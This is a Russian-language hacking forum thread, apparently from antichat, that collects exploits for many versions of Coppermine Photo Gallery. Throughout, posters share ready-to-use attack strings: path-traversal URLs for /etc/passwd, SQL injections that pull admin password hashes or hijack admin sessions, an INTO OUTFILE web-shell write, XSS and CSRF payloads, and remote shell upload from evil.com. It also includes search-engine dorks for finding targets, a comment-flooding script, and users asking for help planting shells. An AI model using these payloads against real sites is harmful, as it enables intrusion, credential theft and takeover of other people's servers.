![]() |
[ Обзор уязвимостей Coppermine Photo Gallery ]
В данном обзоре я собрал уязвимости Coppermine Photo Gallery как самостоятельного скрипта, а не как модуля в различных CMS. Эти баги можно найти здесь:
https://forum.antichat.ru/showthread.php?t=59150 https://forum.antichat.ru/threadnav22857-1-10.html Vendor: http://coppermine-gallery.net/ http://sourceforge.net/project/showfiles.php?group_id=89658 Multiple Remote File Include Vulnerabilities Vulnerable: Coppermine Photo Gallery 1.4.10 Exploit: Код:
http://www.example.com/Script_Path/image_processor.php?cmd=[Shell-Attack]Vulnerable: Coppermine Photo Gallery 1.3.1 Exploit: PHP код:
Vulnerable: Coppermine Photo Gallery 1.4.10 Coppermine Photo Gallery 1.4.9 Coppermine Photo Gallery 1.4.4 Coppermine Photo Gallery 1.3.4 Coppermine Photo Gallery 1.3.3 Coppermine Photo Gallery 1.3.2 Coppermine Photo Gallery 1.3 Coppermine Photo Gallery 1.2.2 bNuke Coppermine Photo Gallery 1.2.2 b Coppermine Photo Gallery 1.2.1 Coppermine Photo Gallery 1.2 Coppermine Photo Gallery 1.1 beta 2 Coppermine Photo Gallery 1.1 .0 Coppermine Photo Gallery 1.0 RC3 Coppermine Photo Gallery 1.0 Exploit: PHP код:
Vulnerable: Coppermine Photo Gallery 1.4.4 Exploit: Код:
http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00Vulnerable: Coppermine Photo Gallery 1.4.3 Coppermine Photo Gallery 1.3.2 Coppermine Photo Gallery 1.3.1 Coppermine Photo Gallery 1.3 Coppermine Photo Gallery 1.2.1 Coppermine Photo Gallery 1.2 Coppermine Photo Gallery 1.1 Coppermine Photo Gallery 1.0 Exploit: Код:
http://www.example.com/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00Vulnerable: Coppermine Photo Gallery 1.4.9 Exploit: Код:
http://www.example.com/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups%20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20--Vulnerable: Coppermine Photo Gallery 1.0 RC3 Exploit: Код:
http://www.example.com/albums/userpics/Copperminer.jpg.php?[command]Vulnerable: Coppermine Photo Gallery <= 1.4.3 Exploit: http://milw0rm.com/exploits/1511 File Retrieval SQL Injection Vulnerable: Coppermine Photo Gallery <= 1.3.2 Exploit: http://milw0rm.com/exploits/1317 Cross Site Scripting and Local File Inclusion Vulnerable: Coppermine Photo Gallery <= 1.4.12 Exploit: Код:
http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:Vulnerable: Coppermine Photo Gallery >=1.3.3 Exploit: Открываем картинку формата .jpg в любом графическом редакторе, который поддерживает работу с метаданными EXIF. Нам нужно изменить тэг модели камеры. Вписываем туда ядовитый код, к примеру: Код:
<script>alert(for Antichat only)</script>Далее заливаем ее на сервер, находим в галерее и кликаем по ней мышью- отображается EXIF- информация, которая не фильтруется. То есть, вылетает алерт "for Antichat only" addhit() function~ SQLinjection attack Vulnerable: Coppermine Photo Gallery 1.4.8 Exploit: Код:
GET /cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID} HTTP/1.1 |
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery 1.4.10 Exploit: PHP код:
|
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery <=1.4.14 Exploit: PHP код:
|
Remote Command Execution
Vulnerable: Coppermine Photo Gallery 1.4.14 PoC: http://milw0rm.com/exploits/5019 |
Цитата:
Код:
http://www.example.com/cpg/index.php?file=../../../../../../../../../../../../../../../../../../etc/passwd%00 |
Цитата:
было именно так |
XSS
Vulnerable: Coppermine 1.4.14 PoC: Код:
http://localhost/coppermine.1.4.14/docs/showdoc.php? Vulnerable: Coppermine 1.4.14 Note: атакующий должен иметь привилегии администратора! Уязвимый участок кода: PHP код:
SQL injection in "reviewcom.php" Vulnerable: Coppermine 1.4.14 Note: атакующий должен иметь привилегии администратора! Уязвимый участок кода: PHP код:
При MySQL 4.1.x администратору может получить информацию из БД приложения, используя подзапросы в DELETE. Утечка информации из "update.php" Vulnerable: Coppermine 1.4.14 PoC: Код:
http://victim.com/cpg14x/update.phpРаскрытие пути в "include/slideshow.inc.php" Vulnerable: Coppermine 1.4.14 PoC: Код:
http://localhost/coppermine.1.4.14/include/slideshow.inc.phpКод HTML:
<b>Fatal error</b>: Call to undefined function get_pic_data() in <b> |
Цитата:
Код:
... |
Цитата:
|
Цитата:
Если скопировать и вставить вручную в командную строку mysql то выполнится все, а из php как я полагаю необходимо закрыть комментарий, что в данном случае невозможно, последняя ) будет лишней. Пробовал как у себя так и на другой галлереи, там тоже запрос не выполняется, пишет ошибка БД. Можно конечно простенькие бесталковые запросы создать, там 2 select объединить, чтобы использовалась последняя ), а вот файл создать имхо невозможно, либо это работает в старых версиях mysql. Если кто может помочь, придумайте полезный запрос без /* и -- на конце, ибо с ними не выполняется. Код:
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (inj1,inj2,0)Код:
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) --,inj2,0)Код:
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) union select 1,2 from cpg1410_albums where aid in (1,0) |
Может кому-то понадобится: простенький флудер галлерей CPG на php. Флудит в комментах : требует указать промежуток индексов фотографий, которые нужно зафлудить, кол-во сообщений, текст сообщение и имя автора. Заливаем на ФТП и погнали ))
Код:
<? |
2voron999888, 2+toxa+ Эксплоит использует два запроса вложенный один в другой. Сначала идет -1) UNION SELECT [HEX],1 as md5_password/* Где [HEX] - полезная нагрузка, которая будет возвращена как результат во второй SQL-запрос. [HEX] => to_hex => '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*' Видимо такой автор видел возможность получения логических 0 и 1. Бонус в том, что на ура пройдет выгрузка шела, ведь HEX позволяет избежать слеширования ковычек. Иными словами COOKIE: cpm_gallery=-1) UNION SELECT [HEX],1 as md5_password/* где [HEX] 0) UNION SELECT '<?php;phpinfo();?>' from cpg_users into outfile('/www/shell.php')/* [i] Не забываем, нужен file_priv для текущего mysql юзверя. [i] Напоминаю, что для выгрузки в файл НЕОБХОДИМО формально указать любую существующую таблицу к которой у данного юзверя должен быть доступ. [i] -1, 0 указываются для того чтобы первая часть запроса ничего не возвращала, в противном случае ваш юнион запрос может быть не обработан. Это я про ваши IN(1). PS: В родном эксплоите от РСТ необходимо заменить PHP код:
PHP код:
|
Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
Вложений: 1
Coppermine <=1.4.16 [Content-type] SQL-injection Exploit 1) Дата: Найдена: April 9, 2008 Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html) 2) Продукт: Coppermine Photo Gallery <=1.4.16 3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов. Галерея доверяет ответу удаленного сервера. 4) Автор: Elekt (bug found April 9, 2008) 5) Тип: удалённая 6) Опасность: 5/10 7) Описание: Уязвимость позволяет получить веб-шелл или хеш админа. Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам. 8) Эксплоит: способ эксплуатации уязвимости [1] Shell upload 1) Заливаем shell.hack и .htaccess на свой сервер 2) Авторизуйтесь, вам должно быть разрешено заливать файлы 3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack 4) Удачная загрузка -> Продолжить 5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php [2] Admin data 1) Заливаем exploit.hack и .htaccess на свой сервер 2) Настраиваем [options] в эксплойте 2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix. 2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2 3) Авторизуйтесь, вам должно быть разрешено заливать файлы 4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack 5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result] 6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php 9) Поиск: пример поиска приложения через поисковые системы Powered by Coppermine Photo Gallery 10) Решение: решение для устранения уязвимости http://forum.coppermine-gallery.net/index.php/topic,51787.0.html Сам уязвимый код: /upload.php PHP код:
|
Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
Вложений: 1
Coppermine <=1.4.17 SQL-inj Session Hijack Exploit 1) Дата: Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html) 2) Продукт: Coppermine Photo Gallery <=1.4.17 3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php] Значение извлекается из куков без проверок. 4) Автор: unknown 6) Опасность: 4/10 5) Тип: удалённая 7) Описание: Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа. [1] Session hijacking В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа. Эксплоит: по конкретному id админа.пользователя Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*; например: 60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*; автоопределение админской сессии COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*; [2] Хеш: перебор через more1row COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/* COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/* 9) Поиск: пример поиска приложения через поисковые системы Powered by Coppermine Photo Gallery 10) Решение: решение для устранения уязвимости http://forum.coppermine-gallery.net/index.php/topic,51882.0.html Разработчик пофиксил проблему, заменив md5-sql на md5-php: было PHP код:
PHP код:
Сам уязвимый код: PHP код:
|
Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
Вложений: 1
Coppermine <=1.4.18 Ecard SQL-injection Vulnerable 1) Дата: Найдена: April 28, 2008 2) Продукт: Coppermine Photo Gallery <=1.4.18 3) Уязвимость: SQL-injection в [user_email] при регистрации и отсылке открыток. 4) Автор: Elekt (bug found April 28, 2008) 5) Тип: удалённая 6) Опасность: 3/10 7) Описание: Уязвимость позволяет выполнить произвольные SQL-команды, например получить хеш админа используя технологию брута "more1row". Необоходимые условия: ~ включена регистрация новых пользователей(по дефолту отключено) ~ не требуется подтверждение через email ~ включен лог открыток(по дефолту отключено) Как и почему это работает. 1) Опасные символы заменяются в "/include/init.inc.php" html аналогами в GET,POST,REQUEST , но '\' не затрагивается. А заодно stripslashes()'тся, что дает возможность использовать NULL-byte. 2) При регистрации нового пользователя используется регулярка основанная на ereg(), который уязвим к NULL-byte, прекращая обработку строки при встрече с ним. Таким образом email вида "test@blah.com\x00\" успешно проходит проверку. 3) В БД email попадает со слешем на конце. Что это дает? Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error. SQL-error: Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')SQL-inj-more1row: Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject-more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')8) Эксплоит: способ эксплуатации уязвимости 1) Снифаем пакет регистрации, вставляя в область email : "mymail@mail.ru%00\" . Отправляем. Ответ сервера сообщит нам об ошибке email. 2) Берем отснифанный пакет и меняем в нем %2500 на %00. Отсылаем. Сервер сообщает об успешной регистрации. Авторизуемся. 3) Теперь выбираем любую картинку в галерее. Жмем на значок письма (Отправить этот файл как открытку) 5) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке БД - вам повезло - лог открыток включен и возможна SQL-inj. Если нет, то нет. 6) В поле "Имя получателя" проводим SQL-more1row. FALSE Имя получателя: Код HTML:
or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*Имя получателя: Код HTML:
or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*7) Фильтруется '<' '>' . Можно использовать только '=' 9) Поиск: пример поиска приложения через поисковые системы Powered by Coppermine Photo Gallery 10) Решение: решение для устранения уязвимости 1) установить addslashes() перед регуляркой проверки email в register.php 2) экранировать "\" Сам уязвимый код: /ecard.php PHP код:
PHP код:
|
XSS:
Код:
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> [xsscode here] |
XSS Coppermine Photo Gallery <= 1.4.18
XSS Coppermine Photo Gallery <= 1.4.18
http://target.com/cpg/docs/showdoc.php?css="><script>alert(/Achat/)</script>< |
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
PHP код:
|
ПАРСЕР ВЕРСИЙ
Скрипт работает по списку. http:// указывать обязательно Создает после выполнения 2 файлика: output.txt и log.txt В log.txt хранится весь лог работы, данные ДОБАВЛЯЮТСЯ. В output.txt хранится лог по обработке текущего списка. Предыдущие результаты стираются. В этот файл не попадают сайты, версию у которых определить не удалось... P.S. Кому не нужны версии старше определенной, удаляем 2 строки комментария в исходнике и добавляем 1 сразу после них Код:
#!/usr/bin/perl |
Цитата:
а полного кода нет ни у кого?? |
а файлики не качаюцца :(
|
Coppermine Photo gallery - Remote PHP File Upload 1.4.19
PHP код:
|
Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC
csrf-инъекция в BB-теге img (комментарии к фото): Код:
[img*]http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img*]как только администратор посетит страницу с кодом, атакующий получит администраторские привилегии. Так-то! //by Juri Gianni aka yeat - staker[at]hotmail[dot]it |
Как я могу залить шелл ?
Привет,
Я имею admin на Coppermine Photo Gallery 1.4.14 modpack v1 (stable). Как я могу залить шелл ? |
vector, два поста выше. Если не понял - стучи в аську 674542, помогу.
|
1.4.21 (stable)
1.4.21 (stable) - есть админка, можно как-нить шелл залить?
|
Цитата:
|
Cохраняешь как пхп и запускаешь...
|
Цитата:
|
Пытался проэксплотировать Coppermine Photo gallery - Remote PHP File Upload 1.4.19 на локалхосте. Скрипт после отправки из хтмл формы пишет "Произошла ошибка при обращении к базе данных.". Приведу немного более детальную информацию:
Код:
<form action="http://test1.ru/Gallery/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/test.txt" Произошла ошибка при обращении к базе данных. Код:
While executing query "UPDATE cpg14x_picturesКод:
USER: VERSION INFO : ------------------ Код:
PHP version: 5.2.4 - OKКод:
|
Цитата:
Код:
SET pheight = ,pwidth = , |
Цитата:
А насчет SET pheight = ,pwidth = , не совсем понимаю что ты имел ввиду. И ещё одно img_dir подставляю в свою форму, но никак не могу найти то место в скрипте где она фигурировала бы. |
Coppermine Photo Gallery 1.4.21 XSS
Код HTML:
http://somehost/docs/showdoc.php?css=1>">XSS%3B |
Coppermine Photo Gallery <= 1.4.22
Несколько уязвимостей, работающих только при условиях: register_globals = On magic_quotes_gpc = Off В том числе SQL-инъекция при условиях возможности региться И blind-sql при условии, что разрешена "ecard logging system" (по дефолту нет) Уязвимости Сплойт, использующий эти уязвимости |
Открываем файл include/init.inc.php:
Код:
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');Код:
$sessioncookie = $_COOKIE[$this->client_id]; Код:
Coppermine Photo Gallery SQL注射+命令执行漏洞 |
Coppermine Photo gallery - Remote PHP File Upload
Coppermine Photo gallery - Remote PHP File Upload для версии 1.3.3
Код:
<html> нужны права администратора. |
кто нибудь находил уязвимости в Coppermine Photo Gallery 1.4.23 ??
|
Цитата:
|
| Время: 02:56 |